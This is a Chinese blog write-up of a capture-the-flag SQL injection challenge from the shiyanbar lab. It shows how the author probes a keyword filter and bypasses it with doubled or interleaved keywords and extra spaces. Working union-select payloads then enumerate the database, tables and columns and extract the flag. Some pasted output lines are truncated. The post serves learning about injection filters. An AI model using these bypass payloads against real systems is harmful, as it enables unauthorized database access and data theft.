

简单的sql注入-实验吧 Writeup

原创

KRDecad3 于 2018-11-08 22:56:30 发布 362 收藏 2

分类专栏: [writeup](#) 文章标签: [实验吧](#) [CTF](#) [Writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/KRDecad3/article/details/83865402>

版权



[writeup](#) 专栏收录该内容

8 篇文章 0 订阅

订阅专栏

简单的sql注入-实验吧 Writeup

看了网上很多Writeup, 对过滤的解释有好几种, 看的很迷糊, 因此就自己实践实践, 写下来整理一下思路。

题目链接

```
b/?id=1
```

知 知乎 - 有问题上知乎

flag

到底过滤了什么东西?

```
ID: 1
name: baloteli KRDecad3
```

输入 `1`, 返回查询的ID和name:

然后输入 `1'`

```
'or the right syntax to use near ''1''' at line 1
```

报错:

由此可知, 存在字符型注入。

输入 `1' and 1=1--+`, 也会报错:

Load Split Run

it syntax to use near '1=1' at line 1

```
http://ctf5.shiyanbar.com/423/web/?id=1' and 1=1--+
```

那么这里首先可以看到过滤掉了注释符，
不去闭合单引号： `1 and 1=1`

```
/?id=1 and 1=1--+
```

知 知乎 - 有问题上知乎

flag

到底过滤了什么东西？

ID: 1 1=1
name: baloteli

可以看到过滤掉了and和注释符。

这里我想到了一个方法，因为这里会把查询的输入回显出来，所以可以在输入时不闭合单引号，来查看哪些关键字被过滤掉的。
继续测试，

这里试一试双写能不能绕过，输入 `1 andand 1=1`

```
/?id=1 andand 1=1
```

知 知乎 - 有问题上知乎

flag

到底过滤了什么东西？

ID: 1 and1=1
name: baloteli

这里看到少了一个and并且and与后面的1连在一起，那么推断过滤方式可能是：将关键字和其后的一个空格过滤掉。
因此，可以通过双写并且后面加两个空格来绕过；或者使用注释符`/**/`代替空格，这样不需要双写关键字。

```
/?id=1' andand%20 '1'='1
```

知 知乎 - 有问题上知乎

flag

到底过滤了什么东西?

ID: 1' and '1'='1
name: baloteli

尝试查询数据库名（过程中可能还会遇到其他过滤）

输入 `1 union select database()`

`v/?id=1 union select database()`

[知 知乎 - 有问题上知乎](#)

flag

到底过滤了什么东西?

ID: 1 database()
name: baloteli

输入 `1' unionunion selectselect database()'`

`b/?id=1' unionunion%20 selectselect%20 database()'`

[知 知乎 - 有问题上知乎](#)

flag

到底过滤了什么东西?

ID: 1' union select database()'
name: baloteli

ID: 1' union select database()'
name: web1

查到数据库名web1

查数据表，输入 `1 union select table_name from information_schema.tables where table_schema=database()`

```
ID: 1 union select table_name from information_schema.tables where table_schema=database()
name: baloteli
```

发现过滤掉了table_schema，

然后发现即便双写table_schema也被过滤掉了，那么就试试错位写两个

输入: `1 union select table_name from information_schema.tables where table_schematable_schema=database() and '1'='1'`

```
m information_schema.tables where table_schema=database() and '1'='1'
name: baloteli
```

```
m information_schema.tables where table_schema=database() and '1'='1'
name: flag
```

```
m information_schema.tables where table_schema=database() and '1'='1'
name: web_1
```

<https://blog.csdn.net/KRDecad3>

去查flag表的字段，

输入: `1 union select column_name from information_schema.columns where table_name=flag`

```
ID: 1 union select column_name from information_schema.columns where table_name=flag
name: baloteli
```

发现过滤掉了column_name

和information_schema.columns，那么就试试错位，输入：

`1' union select column_name from information_schema.columns where table_name='flag'`

```
ne from information_schema.columns
name: baloteli
```

```
ne from information_schema.columns
name: flag
```

```
ne from information_schema.columns
name: id
```

<https://blog.csdn.net/KRDecad3>

然后继续查询flag字段的值，输入：

```
1' unionunion selectselect flag fromfrom web1.flag wherewhere '1'='1
```

```
union select flag from web1.flag where '1'='1  
name: baloteli
```

```
union select flag from web1.flag where '1'='1  
name: flag{Y0u @x2 50 dAmn 000d}
```

到此，得到flag。